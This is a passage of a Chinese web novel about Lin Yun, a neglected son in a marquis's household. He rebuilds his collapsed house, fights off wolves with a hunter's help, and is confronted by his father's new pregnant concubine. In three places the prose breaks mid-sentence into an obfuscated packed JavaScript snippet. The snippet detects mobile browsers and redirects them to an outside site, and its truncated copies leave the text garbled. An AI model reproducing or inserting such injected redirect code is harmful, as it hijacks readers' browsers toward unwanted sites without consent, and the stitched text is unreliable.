与一家木材商和石料商商议好价钱后,他们派人送来了一车圆木和砖石,都堆在了院子的东墙处。倒是他们也看出了这是林府的地皮,还问过林雲是府上何人。他不敢说真话,扯谎说:“我不过是给偏院修屋的小厮。其余事一概不知。”那些商贩看到他穿着粗衣布鞋,也就不多问了。 那些圆木个个都有两丈长、直径约二十公分粗细,他一人都扛不起来的。 在用四点定位法确定了立柱、梁柱和廊柱的位置后,只好又从南城楼那里雇了四五个壮汉粗工,帮着他把那两间屋的大框梁立起来。 砌砖好歹以前也做过一点,就凭着后世工地里的那点记忆,将前后的砖石合围砌了起来。由于他肯用水泥,那两间屋虽说技艺一般,也不似专业技工所做娴熟,却也是齐整方正地建起来了,与西边的正房连接起来,甚至更为坚固抗风。不过风格与以前有些许不同,更似现代的平房。 做完这些已经将银子花去多一半,他又买了一车瓦片。照着西边正房屋顶盖瓦的方法,把屋顶也筑好了。 他也没想到,盖房子这种事,他一个十四五岁的少年也能独立完成,用了四个多月的时间,好歹是把原来塌掉的屋又重建了起来。他看着眼前这个小院,满心欢喜,是自己的家了,自己终于有家了,有遮风避雨的小巢穴了。 转眼已从初夏到了深秋时节,院里的那颗桃树今年没有怎么结果子,此刻落叶却似枯叶蝶般纷纷扬扬地飘落下来,落得满地满院都是,吹面的寒风卷起黄黄的枯叶,发出了窸窣的微音,和着纺织娘末了的“吱、吱、吱吱”凄离的叫声,倒成了一曲哀怨的悲秋之歌。 林雲没有工夫伤春悲秋,因为可做的事情实在太多,他每天忙到夜深才能得以休息,一天懒觉也不曾睡过。 不过他这段时间长高了一点,也壮实了一点,脸上也有了笑容。 正南的主屋基本修葺得差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗户他结合了以前的样式和方法,但做了一些改进,把以前一层薄薄的韧皮纸,改成了可抽换的夹棉布层。先是用竹篾条将中间的部分做成韧皮纸和夹棉布层两种,两侧窗档及中间的固定所用木条也做成两层,冬天用夹棉布层,夏季用韧皮纸,也使得冬天的保暖性能更好了。当然这么做也费事,他更没有时间雕刻出花样来,就成了最简单的方格窗框样式,格栅门也是同样的。 所以这几天他日日忙着做窗户和木门,几乎没有时间上山砍柴捉鱼。 他还要用削成一根根细条的竹篾条编些长而宽的竹席,好修饰下屋顶,权当是做天花板了。 直到太阳已落进祺云山里,他才收拾好院里的东西,进厨房去做饭。 这几个月他每月初一领完银米就去藏书阁借来书,晚上就着月光或是蜡灯,他还要把书上重要的内容都抄记在白本上。 原来做窗户和木门要比砌砖盖瓦更费事,这样连着辛苦了一个月,才把东边他本来的三间屋都弄好,西面小娘屋的窗户破了好久,但他始终赶不完工。这一个月他的手割破、磨破,起了一层茧子,却还看得到手上一道道的口子,要是浸了冷水,更痛的要命。 终于赶在第一场雪之前,林雲住进了原来的东屋里。他组装好了那架小娘的拔步床,挪到了重建好的东屋里。那方罗汉榻,他也用了九牛二虎之力挪过去了,又把一应生活用品都配置好。他没有再用火盆取暖,而是花了三两银子买了一个取暖的火炉子,烟囱口是提前就已经留置好的,他在老农家里见过,这种炉子要比火盆好用,既可以取暖,烟气顺着铝筒烟道排出去,还可以揭开炉盖烧水,甚至可以架口小铁锅做饭,可谓是劳动人民的生活智慧呀! 第一场雪来了,院里归于寂静,一朵朵雪花像晶莹的小精灵玩乐似的,慢悠悠、轻飘飘的,将屋顶、地面染上一层雪白,桃树枝干上也穿上了玉冰样的铠甲,林雲没有出门去,正坐在炕几旁抄书呢。但远远传来的鞭炮声却是那么刺耳,林雲月初时就知道,父亲要纳一位贵妾了,今日大概就是进门日。 42.醒心 五 五 七天前,他去前院领银米,一路上见到府丁和女使们忙碌来去,内院装饰的喜气洋洋,他当初还纳闷,又不到年节,为何府中上下如此呢。 那些府丁和女使见了他,也不再像刚开始时恭敬地行礼了,最多问一句“四少爷好”了事,匆匆就走过去了。他也不甚为意,反正自己被遗弃在那个几近被废弃的偏园里就是个形同虚设的主子而已。这段时间以来,府中上下没什么人关心过他的死活,也没有人在意他的好坏,他也放平了心态,过好自己的小日子就好,也不要拿出闲心来在意别人的态度和想法。 可是当他进入到管事院,像往常一样去找明宅老时,在门外听到屋里的人议论“侯爷纳妾”之事时,心还是刺痛了一下。 “这位王小姐是从北街门入府还是西街门呢?另外,明老,您还得定一下酒席上的菜谱。” “侯爷的纳吉贴已经差人送去王家了,一应的聘礼就等您查验了。” “这是去王家迎娶的府丁名册,您老请过目。” ······ 林雲听到屋里一人接一人的汇报,还有几人小声商议之声,他们说着的都是父亲要迎娶一位贵妾的事情,从言语中他了解到这事情是林老夫人定下的。前几次来领例银,他还多多少少听到一点传闻,这半年多父亲甚少亲近大娘子,二少爷林霓又在酒楼里闹了事,差点打死人,被禁足在院里,而贺小娘分外得宠,父亲给其女儿雨菡定下了一门好亲事,惹得大娘子对父亲大打出手,两个人都很不快。这次可能是林老夫人为了平衡家庭各方心理,不得已让父亲纳妾的。这户人家一直在厂校练兵场养马驯马,算个小官家庭,这是其第二个女儿,年芳二十,青春肆意,性子颇有些吴芝彤的飒爽,长相也还过得去,言谈机敏得很。而十一月初八便是迎娶日,府中上上下下都在为这事做准备。 他看到又有人进了管事院来找明老,就敲了门进到里面去。 一径人看到林雲进来,脸上都有些不屑,让开中间的路,让他进到里面去。 也难怪众人看他不起,他这半年来的衣服都是自己抽空缝制的,针脚粗陋,穿戴都比不上林府的下等仆从。此时他背着自己编的竹篓子,一身的粗布衣裤,手上因做粗活受伤不断,用麻布缠了手掌,站在一群锦衣襕衫的管家府丁面前自己不自觉的头低三分。 “明老早上好,我来领例银。”林雲有些怯意地开口了,以往这个时辰管事院里从不会遇到这么多的人。 明总管捋着冉须,紧着眉头,什么都没应,打了个手势,前几回带林雲去领份例的那个男人,徐管家便快步走过来拉了林雲的衣袖,示意他赶紧跟他出去。 林雲作了揖跟着他出去到另一间房去领银子,再去库房取领米粮。 路上徐管家开口道:“四少爷,这几天府中事多,明老忙得头也转了向。” “哦,我明白。”林雲心不在焉地应道。 “侯爷要纳妾,自然是喜事,阖府上下都忙得很,若有怠慢,您多担待。”这个宽脸庞,笑起来虎腾腾的有着燕麦色健康肤色的男人,边支取银子边又说道。 “没有怠慢。”林雲更不自在起来。这么多天以来,只有每次来领份例时,会让他浑身像长了刺一样难受,仿佛总有来自四面八方不友善的眼光把他从头到脚的看过来看过去,那些目光又像是会说话一样,嘲讽他讥笑他,弄得他恨不得插上翅膀赶快飞回自己那个安乐窝去。虽然偏园里没有锦衣玉食,粗衣淡饭却让他很安心。 “四少爷,您不去给侯爷道个喜吗?”徐管家又试探了一句,笑着抬起头盯住他。 “自己这么多天没有人问过一句,他要讨小老婆了,我却还要去道喜吗?”他心里有些怨恨似的想。 他脸上白一阵红一阵的,徐管家好像铁了心要等他的答案似的,拿着银子的手一直放在胸前,没有向他递过去。 “不了,侯爷之喜我不能感同身受。”他伸出裹了麻布的手,上面还看得到有些血迹和污迹,讨要那二两银子。 徐管家蔑视地一笑,把银子放在他手里,又向放着米粮的东厢房走去。他只好接了银子又跟出去。 “四少爷,识时务者为俊杰,有些结还得是自己解开。”徐管家开了门锁,走到屋内,翻出两个小麻口袋来,开始给他装麦粉和稻米,一边继续说道,“眼下侯爷高兴,若是感动了侯爷,你也能好过些。” 他没应话,把装好的麻口袋搁到竹篓里,复背起竹篓,向徐管家道谢后转身走了。 他不想再去期冀那个男人的怜悯了,有什么意义呢,房子塌掉都没有让人去管他的死活,此刻他只想离得侯爷远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12592372|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远的,远到谁都不见谁、谁也想不起谁才好。 林雲正抄着《齐民要术》,耳朵里却听着从内院那边传来的鞭炮唢呐之声,心里很苦。 他想:不知道当初母亲被纳为小妾时,父亲是什么样的心情。他记得肖峰和他聊起过,吴小娘是被父亲从边关偷偷带回来的,当初祖母气愤至极,不仅在祠堂里责罚了父亲,还命人绑起小娘来,准备再送回苦寒的雁北流放地去。奈何父亲执意不肯,还说:“如若芝彤被送走,他就留在边关再不会回来。”祖母生怕父亲走了自己丈夫的老路,就勉强留下了小娘。但小娘性格倔强,总受祖母的惩罚。肖峰说,有次他见到小娘被罚跪在大太阳下,他也跟着跪着,跪了许久都不见有人来赦免他们。大概他和小娘都是父亲不宠爱的人吧!那再进到府里的这个女人,是父亲的钟爱吗?大概不会像他小娘一样惨死,像他一样被遗弃吧?他想到了后世里的母亲林芳清,他直到母亲临死前,才知晓母亲与程建的那段情事,像隐秘的不可告人的晦事一样,掩埋在母亲心底那么多年,母亲该有多苦,才能又当爹又当妈的把他拉扯大,可他却没能报答她的恩情,没能好好尽个孝心,母亲就那么痛苦地走了。最后一面都没能见到该是有多遗憾啊! 他无心再去抄写,他这个偏园里的四少爷已经彻底成了荒野里的孤草,任凭风急雨骤,怨何霜冷冰残,只能临月独望,对影成叹! 内院里此刻热闹非凡,新娶的小妾出身好,没娶之前,林老夫人就划定了离养居阁最近的西一院——汀芷苑给她住,且让全府上下称她为玉姨娘,而不是小娘。这位贵妾姓王名新玉,侯爷经林老夫人的娘家人一介绍,便也有几分心动,玉姨娘年轻活泼,又爱玩闹,侯爷在她身上感受到了久违的那种冲动和活力,就和林老夫人商定了此事。这场喜事是林府这三年来少有的盛景,光是酒桌就摆了二三十桌,来往宾客不绝,各个名家望族都有贺礼相送,就连祁恭王府、滕王府都送来了贺礼,官家也御赐了礼服和三天迎亲假。 大娘子柳氏在林老夫人的说服下,也接受了侯爷纳妾的决定。其实她也不得不接受,这半年多的冷遇,伤透了她的心,贺小娘的手段就连林霓也遭了殃,林老夫人说得对,现在急需一个人来分贺小娘的宠爱,也急需一个人来转移贺小娘的针对,不然她这大娘子的位置真的坐不稳了。 43.醒心 五 五 覆阑纤弱绿条长,带雪冲寒折嫩黄。 转眼就又过了冬,正月之后有了暖意,冰河消融,焕发出春日的勃勃生机。 林雲这两三个月也闲不下来,早起后去水井担了水,再烧水洗漱做饭。冬日在家时需时时烧火,所以早饭后腰间别了斧头、背了竹篓,开始往祺云山山上去,山脚林子里的枯木已经被附近的人捡拾得差不多了,看林的赵叔和王叔每天在林子里巡查,以防有人不备去砍柴。林雲跟他们报备了之后每天都要往山上去一趟,山腰处的松林里可以砍一些枯树、捡好多松果回来烧,只有下了雪的时候他不敢独自上山去。 年节前,他在山上就遇了狼,是那种以前电视上看到的野狼,身长得有一米五,站起来将近一米,浑身白灰色的毛发,尾巴耷拉在身后,竖起两只机警的耳朵来,狡黠地盯住他,张开的大嘴里看得到锋利的犬齿白中泛黄地在阳光下闪着寒光,哈哈地喘出白气,一条长舌头斜着吊在下颌外,还正往下滴晶莹的口水丝。那天天色阴沉,预计到下午时就会有一场大雪,他忙着砍树枝,收罗起那些横七叉八的木枝条,压根没有注意到远处站在一棵粗木桩上的那匹狼。直到那匹狼高昂起头发出“嗷”的一声狼嚎,他才猛不防地被惊一跳,直起身的时候已经看见又有三四匹狼慢悠悠地围近了那匹头狼,它们凶狠的目光直直地盯住他,令人胆寒。 那天他险然丧了命。 那些狼慢慢围近他,步伐坚定而缓慢,随时都可能因为他的逃跑动作而发出凶猛的攻击。他吓得脸都白了,眼神惊慌惧怕,他从没遇到过这样的情况。夏秋时他上过几次山,那会儿丛林茂密,也遇见过一两次野猪、野鹿及说不上名字的野兽,但他要不装死躲在密密的灌木丛里,要不就三几下爬到树上去,等那些兽类走远了就赶忙下山去。冬季里山上光秃秃了,他每次来都很警觉地砍完柴就走,从不多逗留,基本上赶晌午就返回家中了。这次他才刚刚砍了一会儿柴,就被群狼围住,一颗心都提到了嗓子眼,突突直跳,高举着斧头的手也开始发抖了。 要说大自然的生灵都很聪明,头狼发现他很害怕,开始第一次试探性地发出攻击,以极快的速度冲向他,咧开的大嘴呼啦一下极力张大,准备咬向他的胳膊。他一闪身,翻滚到了一棵粗壮的松树旁,大喘着气背靠着树干,颤颤地举着斧头。那头狼回转过身,仍自信地迈着步子,左右来回走着,灰蓝的眼睛却紧盯着他不放。这时另外三头狼开始封锁他逃跑的方向,一点点地逼近他,左右前方的几头狼都闪着凶光贪婪地向他走来,大概是料定他没有什么反抗的能力,终于可以饱餐一顿了。 就在离他两米远的时候,一支头部着火的竹箭“咻”地射中了头狼前面几寸的地面上,头狼一惊往后退了几步,带着其他几头狼也不敢轻举妄动了,不一会儿的功夫几支火箭噌噌飞来,一支射中了左侧一头身形较小的狼的腹部,顿时狼的腹部起了火光,躺地翻滚了几下,反而把箭插得更深,难过得呜呜哀鸣。剩下的狼看到同伴如此,迅速撤退,朝相反的方向飞奔而逃了。 他吓得还一动不能动,头上一层细密的汗,头顶上也在这样的寒天里冒出丝丝缕缕的白气。 地下那头受伤的狼还想着挣扎站起,又一支箭射来,直中头部,斜插进了它的左脸颊,它再起不了身了,前后几条腿还在无力地蹬踢着,过了一会儿就不动弹了。 就在他醒不过神时,一个身高六尺的猎户走了过来,头上戴着狐狸毛做的帽子,两耳都覆盖住了,剑眉杏眼,嘴边一圈黑渣渣的胡子,步伐矫健,背后背着竹箭筒,里面还有十来支箭,一手挽着弓,一手提起地上已死的狼的尾巴拎起狼来,爽朗地笑了几声。猎户发现还抖瑟瑟的林雲,走近了他身边,俯身安慰道:“吓坏了吧?怎么敢孤身一人就上山来?起来吧!”接着用腋下夹了狼身体,腾出一只手拉起跌坐在树干前的林雲。 猎户足比他高出一头来,有四十上下,身形宽硕,林雲看到他的长相也有些惧怕,忙躬身回礼到:“谢谢恩人救我一命!” 猎户却哈哈一笑:“值什么!这些柴省了我砍了,送我便是。” 林雲不曾想,眼前的大汉倒不像个坏人,豪爽之至,只是要他的柴,那些木枝条只是小小一捆,他便又回到:“恩人等我一会儿,我再多砍些送您。” “罢了,小家伙,就等你这点功夫,我都要连根拔起它来了。” “恩人,救命之恩无以为报,我还能为您做点什么?”林雲看见猎户大笑着准备转身走了,忙又问道。 猎户却摆摆手,复又用手提了狼大步向另个方向走了。 他望着猎户的身影一点点地消失在了远处的松林里,赶紧又干起活来,万一那几头 狼折返回来,就命尽在此处了。 此时正值阳春三月,院里的桃花已经长出了一个个粉嫩的花苞,地上也有了小草芽探出脑袋来,此起彼伏的鸟叫声像是报春的使者般,和着远处山上叮咚的溪流声奏响了一曲曲动人的音乐。到处都是新生,到处都是美好,到处是欣欣向荣之景。 林雲又在红日刚刚露出地平线之时就出发了。他看着那些树啊、草啊、水啊,是那么欣喜,因为他知道今天风和日丽说不定又可以钓到几条鱼来改善一下伙食。 砍了一大捆柴之后,他把柴堆在自己做的记号旁,就又往上走了几里,那边有几条溪水,这几天春水潺潺,好多鱼儿也跟着往下游去觅食。 可是还没走到溪边,他就觉察到了一丝危险的气息,背后仿佛有双眼睛盯着他。 他第一次回头时什么都没看到,背后是一棵棵榆柳松竹。 他从腰间拿出斧头来,把自制的鱼竿丢在地下,双手齐握斧柄,呈马步状沉下身子。等到背后传来了又轻又快的兽步声时,猛一回头,斧子朝上直劈下去。 又是上回那一匹头狼,林雲记得他,身上的皮毛白灰色,比上次见的另几头狼体型要大一些。 那头狼确实是从背后要偷袭林雲,可那一斧头没劈到狼的要害之处,只是擦着了狼的左前腿。狼的关节处定是被那一动作猛的伤到了,先是瘸着腿打了几转,后来就又呲着牙凶狠地发起了第二次攻击。 林雲也不甘示弱,毕竟做了半年多的苦活累活,也着实增强了他浑身的肌肉力量。再加上这四个多月来他几乎天天上山来砍柴,一天少则要走十几里,多则三四十里,一开始他背着柴回去累的腿酸腰困、汗流不止,慢慢地速度也加快了,赶晌午就能回家去,甚至回去还能继续做饭干活,不至于得躺下休息才能缓过来。 他也明白上山来的危险性,倘若自己一味地怕,那以后断了柴烧都有可能,更何况祺云山上平时除猎户、樵夫上来外,少有人来,这山上能捉到鱼虾、捕到兔子山鸡、采到鲜嫩的蘑菇。这些大自然的赏赐他可不愿错过。所以平时也有体育锻炼,什么初一时学的八段锦啦、广播操啦、后来学着跳的街舞动作啦,时不时地拿出来练一练,好增强身体的灵活性和柔韧度。 这头可恶的狼上次差点吓得他尿裤子,这次他想尝试着打败他,要不然以后上山来都得防着它。 可是他有些小看了这匹狼。当它发动第二次攻击时,一爪便把他扑倒在一米远的地上,那一爪力量之大震惊了林雲。但他现在还不想认输,更不能认输,要不然就成了饿狼的口中之食,再没有那么好的运气能等到猎户突然出现来救命了。 他慢慢地挪动着下半身,单膝跪地,另一只脚站稳,把力量集中到核心区,举起斧头,准备应对狼再次袭来。 可是狼好像很有耐心似的观察着他。 他知道狼不敢此时嚎叫喊来同伴了,这山上还有好几个猎户呢,除了上次遇到的那个大汉,他有次砍柴时还遇到一个同样装扮的人牵着一条大狗,年龄稍小些,一样的孔武有力,那狗嗅着他的气味而来,冲他汪汪大叫,要不是猎户主人拽着绳子,险把他当成入侵者攻击。狼若呼朋引伴,那就势必会吸引猎户而来。 他瞅准时机,飞快起身朝狼的右侧方奔突过去。恰时狼也冲了过来,他知道狼的左前腿受了点伤,朝右转身时左腿支撑不力,定没有那么迅捷,所以从右擦身劈了一斧头下去。 狼的右爪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林雲反而追跑过去,狼听到后面很重的踏步声,一回身向林雲冲过来,可惜狼受了伤不如之前迅猛,林雲刹住脚用尽全身力量在狼快接近他时就劈了下去,等狼来不及止步时,斧子就已落到了他的头上。他不给狼机会,尽管狼咬住了他胸前的衣服不放,他的斧子也不断地砸向狼的头部颈部,鲜血溅得他脸上、身上到处都是,直至狼没了气息。他胸前的衣服被撕咬得七零八碎、条条缕缕的,棉花也跑了出来。 他打死狼后,坐在地下喘气。这时上次救他的那个猎户却从溪边那边走过来。 “小家伙,可以嘛!”猎户笑得满脸黑渣须都颤着,伸出一只手来要拉他起来。 “我歇一歇。”林雲还在喘气,刚才算是刚勇,可一着不慎,躺在地下可就不是狼了。 “这狼打算怎么处置呢?” 林雲抬头看见猎户饶有兴味地看着血肉模糊的狼脑袋,开口道:“上次恩人的救命之恩还没有还,这条狼送给恩人您吧!” “我见你废了大劲才打到的,舍得给我?”猎户又笑着问林雲。 “我本意不是要伤害它的,是它追着我不放的。” “人间万物相生相克,本来就是这样的,人无害虎心,虎有伤人意。”猎户说着,走到狼身跟前提起狼尾巴来,“真是好皮毛啊!” “送您了,我不要的。”林雲缓够了气,慢慢站起来。 “恭敬不如从命,那我就笑纳了。”猎户把狼拖起来,抗到肩膀上,这头狼大概分量不轻,要比上次打死的那只重一倍,接着拖了林雲的一条胳膊一起走,“到我家去吃杯酒吧,我家就在溪前面。” 去了猎户家,发现小小的一座木屋前院里四处都悬吊着皮张,屋子里,还有着淡淡的血腥味。屋子里也有股兽皮的腥味,他坐在一张木凳上,猎户给他端了一碗水递给他。他确实也口渴了,一口气就饮尽了,还有一些顺着口角流到了胸脯上,他这才发现破碎的衣裳下有几道被狼爪抓伤的痕迹。 原来猎户早就发现他被狼抓伤了,带他回来用酒消了毒,给他敷了点创伤药。他道过谢后怕下山晚了又遇到什么野兽,就赶紧辞了猎户,从原路返回背了柴回家了。 44.醒心 七 七 春夏秋三季是林雲最忙碌的时候。 他的时间几乎被排满了,没有时刻是消闲下来的。 初春时节他每日上山砍柴,南房最边上那间已经码放了少半间的柴火,够用一段时日了。而白天剩下的时间他把偏园其他荒芜的地方也开垦了出来,用废弃的砖石又隔离出了九块苗圃,准备今年再多种些瓜果,靠着南墙一溜也准备种下一排绿植和鲜花。而院子里地方有限,他用攒下的例银又买了些砖石,大部分土地面都用砖石砌上了,地面现在平整划一了。去年几个花盆寒冬时都挪到了屋里,没有死掉,今年又买了六个大花盆,也预计再扦插几枝月季、木槿和玫瑰花。 芒种过后,他忙得几乎脚不点地。园子里种下了黄瓜、青菜、茄子、菜葫芦、辣椒、葡萄、土豆、萝卜和棉花。每一株冒出头的小幼苗都需要他的精心呵护,他像爱护小生灵一般细心地点数、照顾着成长的绿苗,除草、浇水、施肥,日日劳作后夜里梦到的都是这些可爱的农作物们,他看到自己的菜圃里茁壮成长的幼苗一寸寸地长高,常常露出欣慰的笑。去年栽下的幼竹经过一个冬天的休养生息,已经越长越高、越来越粗壮,偏园的西面和偏院的东墙处已然成了绿油油的一小片竹林,他很喜欢坐在绿竹旁,做些活计,缝补衣裳、编织箩筐竹扁、做小渔网、做鞋子······他终于有点了解了,为什么古人仕途不顺就会想归隐田园,原来田园生活确实很治愈心灵啊!远离纷争,避开人世烦忧,身体忙累但心灵安宁,真的是很不错的生活选择。 但只要他要去前院领取份例,平静的心总会被碎石击起涟漪般泛起一串凌波。 这几个月每当他穿过花园再一路绕到管事院去,那些下人们的态度也越来越目中无人,有的甚至当他空气一般,连招呼也不曾有了。明老和徐管家也有意无意似的,很轻视他,他去时连人都找不到,往往问了多人才能再别处揪得住他们。他耐住性子,甚至得带些乞求讨好的口气去讨要自己该有的份例,毕竟没了银米,他的生活会艰难的多,什么理想的田园生活得靠靠后了。现在的岁月静好还是父亲残存的那点恩赐换来的。这是他心里最明白不过的,是无法避开的事实。 还好老胡头对他还好一些,他给老胡头买过旱烟草、一两壶酒,送了几个自己编的箩筐竹篓,老胡头会和他聊起府中发生的事,也会允许他迟回自己的偏园再锁门。 从老胡头的口中得知,新进的玉姨娘怀了双胎,把父亲高兴得什么似的,恨不能把玉姨娘捧在手心,连贺小娘都暂且靠后了;二小姐林雨菡三月大婚时嫁妆丰厚、婚宴盛大,比当年嫡长女林雨萍出嫁时好得多,气得大娘子病了一场,之后对父亲更为冷淡;去年粮食丰收,父亲米铺的生意很好,贺小娘在府中更有底气了,但玉姨娘有林老太太和父亲的宠爱,在府中的势力丝毫不逊色于贺小娘;二哥林霓和三哥林霁因琐事在学堂里公然就动起手来,二人均被父亲狠狠责罚了一番,父亲还特意备了厚礼去祁恭王府向其赔礼,不过祁恭王与父亲是旧交,此事过后,二人每日仍旧去祁恭王府的学塾里读书;种种小事不备详记。 六月初一一早,林雲便给老胡头送去几个院里现摘的大桃,今年他早早给那棵十来年的桃树施了肥,所以花开得繁茂,果子也结的又大又甜。 别了老胡头,正含着笑穿了花园走夹道去前院,心里还在乱想着,今天明宅老和郑管家会不会为难他。天气尚早,内院内厅里大概还没有摆早饭呢。他低着头,还正赏着花丛里晶莹的露珠颗颗,不防前面出现了几个女使,中间围簇着一个身着华服、怀胎六甲的女人。 “站住,还不快给玉姨娘请安!”一个手扶玉姨娘的女使厉声喝道。 他惊了一下,抬起双眸,眼见三个女使微躬身退回到玉姨娘身后,而站在中间这个挺出一颗圆肚子,穿着秋色轻纱袄,外套桃红缎短褙子,下着石青色绫裙,头髻上别着两支华美珍珠的发钗的女人,富态端庄地一言不发,略微笑吟吟地看向他。两旁的女使一人扶了她的一只手臂,有些愠怒似的又发了话:“哪个院子的小厮,这么不懂规矩吗?” “还不快跪下磕头!” “给玉姨娘请安,玉姨娘早。”他料想这应该就是老胡头嘴里说的玉姨娘了,把身子退到夹道边上,行拱手礼,微低头请安道。 “你到底懂不懂规矩?要我来教你如何行礼吗?”玉姨娘身旁的女使又厉声喝问。 玉姨娘抬起手指了指,颐指气使般地昂了头,收了笑容,显然对他刚才的行礼不满意。 另一旁的女使快步走到林雲跟前抬手便要打,林雲也瞬时举起手掌,扼住了女使的手腕。 女使愤怒极了,大声质问道:“你这个无礼小厮,怎敢如此猖狂?” 林雲目视着玉姨娘,也并未松开手,与其僵持着。“她是主子,我不是主子吗?”他心里默想,可终归不想再生事端,慢慢松开了自己的手。 想不到女使还想挥手而上,他往后退了一步,女使的手打空了,还差点摔倒。林雲很绅士地扶了她一把,将她推回到原位。毕竟是连狼都敢打的人,这个弱不禁风的女人的巴掌他想躲还是轻而易举的。 他再次拱手回礼到:“我林雲无心冲撞玉姨娘,还请您让我过去吧!” “你就是林雲?”这次已着了恼色的玉姨娘问道。 “是。” “早就听人说起过你,目无尊长,言无法纪,看来果然是这样。”玉姨娘又说道。 林雲不想再纠缠下去,况且老胡头说过,现在玉姨娘很得宠爱,又大着肚子,如果他又在父亲面前说什么,恐怕自己的好日子得到头了。所以他赔着小心回道:“我给您赔不是了,玉姨娘您大着肚子,我该让着您先过去的。” “这就够了吗?” 林雲本想大事化小小事化了的,原本就是她的女使要先打人的,就算他没有早早看见孕妇出来遛弯提前让路,可这么宽的夹道又不是过不去,礼也行了,歉也道了,区区一点小事这个女人就要这么计较吗?林雲没有与其相处过,但听老胡头说,她也不是跋扈蛮横的人,今天是非要和他过不去吗?倒霉的林雲,倒霉的躯体,他的心里此刻是五味杂陈了。 “过去吧,我懒得和你计较。”这个女人看着林雲低头不言语,两手握着竹背篓的肩带,衣服又旧又破,很落魄的样子,也不愿自己的好心情被破坏,于是让后面的女使腾开个细道,懒洋洋地对林雲说道。 林雲心里松了口气,赶紧谢道:“谢谢玉姨娘体谅,您心慈大度,肚里的弟弟们一定会随您一样善良豁达的。” 玉姨娘倒是听见这一句,心里蛮高兴的,又含了笑边向前走边轻声说:“愿随你吉言。” 林雲鬼也似的赶紧离了这地方,疾步往前院去。 可刚刚这一切被栖芳阁的丫头墨染看得一清二楚,墨染也匆匆溜回了栖芳阁,将刚才发生的一切悄悄告诉了贺小娘。 还好这次领取份例还算顺利,逮到了人,也很快就领了东西回了偏院。回去前他还了上次借的《黄帝内经》,又借了《神农本草经》一书。自上次他打狼伤了后,第二天他便发起了高烧,直在床上躺了两天才退了烧,伤口处也是又红又痒。他还怕是感染了狼身上的什么病毒或者是得了狂犬病,赶忙去了三水街的杏安堂找大夫诊治,古代真是看病又贵又难,不仅花光了一个月的例银,他光是苦药就喝了七付下去仍是头晕腿软、浑身乏力、伤口肿痛,后来不得已又去找了那个猎户大叔。大叔看他这个样子,明白是狼爪叨伤所致感染,从山中采了一把带花的蒲公英,熬成汤让其服下,果然喝下去三四碗之后,到了晚间就有点精神了。他连续喝了半个月,伤口好得连疤都没留下,人也又精壮起来。所以他知道就医难啊,还不如自学一点医术,尤其他现在是没人关心的野草,多学点东西才能多一点生存几率。 是日夕食时,阖府除林雲外都聚在内院正厅家宴宴饮。林老太太正面上首而坐,左侧是林将军,右手边便坐了玉姨娘,大娘子柳氏于林母案旁布让夹菜,贺小娘则立于林将军身后服侍着。林老太太交代,玉姨娘怀有身孕,不宜辛苦,先让大娘子亲自行侍奉婆母之礼,而玉姨娘待生产过后再司其职。 “自这个王新玉进门之后,婆母待她反比待自己更好十倍,吃穿供给皆如柳氏一般,怀孕后更是好吃好喝先紧了汀芷苑送去,侯爷的心像只鸽子般每日穿梭于汀芷苑和栖芳阁两处院落,静玉堂真真是静得快要落灰了。”大娘子柳氏心中更委实更添苦楚,再加上种种不顺心之事,四月底就大病一场,人也瘦了一大圈,现在仍面色焦黄,精气萎靡。家宴之时,林老太太竟还要柳氏亲自侍奉,大娘子心中不快却也不敢违逆,只好一一顺从。 而自左及右依次坐着大少爷林震及少夫人王婉儿、林霓、林霁和三姑娘雨蔷及四姑娘雨蓉,即使家宴,气氛依然整肃,后面丫鬟女使们站了两排,手持着拂尘、漱盂、茶杯茶盘,外间伺候的女使小厮众多,却都寂然无声,连咳嗽也不曾听见一下。 悄然饭闭,丫鬟们有序迅速撤去餐盘换上各式果盘,给主子们端上手盆净手之后,便奉上一杯杯荷叶清茶,大娘子和贺氏才方得以速去里套间用饭,林震之妻遂也起身去服侍婆母柳氏用饭了。 林老太太很慈爱地看着玉姨娘开口道:“这几日感觉如何?双胎有些累吧?” “承老太太关爱有加,妾身筋骨皮实不曾累着,两个小家伙倒是活泼,一刻不闲地动。“玉姨娘轻抚大肚,笑着回道,一双水波流转的眼睛却瞟着林将军的侧脸。 林将军也扬唇一笑,顺嘴说道:“该是男胎才是,所以活动频繁。” “我记得震哥儿在玉卿肚里时就闹腾得欢,对吧?”林老太太小口啜着杯中的茶,笑眼吟吟地回脸看向林将军。 “是。”林将军似有愧色,也端起杯子喝起茶来。 玉姨娘却很感兴趣地问林震:“是吗?你小子也挺能在你娘肚里折腾呢,老实道来,大娘子用了什么法教你现在如此老成持重?” “玉姨娘会说笑,老太太治家严谨,娘亲和父亲自然教子严格,吾深受熏陶,自当三省吾身、克己慎行。”林震淡然而笑。 “哥哥像母亲,按行自抑、谦冲自牧,吾以母亲和大哥为榜样。”林霓漫不经心地插了一句。 “你是该好好学学你大哥。”林将军接着开口道。 “霓哥儿性子直爽,我觉得蛮好,咱们家的哥儿都秉承了侯爷您的风采,个个拿出去都是将才呢!”玉姨娘看着林将军好像没了刚才的高兴劲儿,赶忙圆场道,“也盼着我给侯爷也生两个将才才好。” 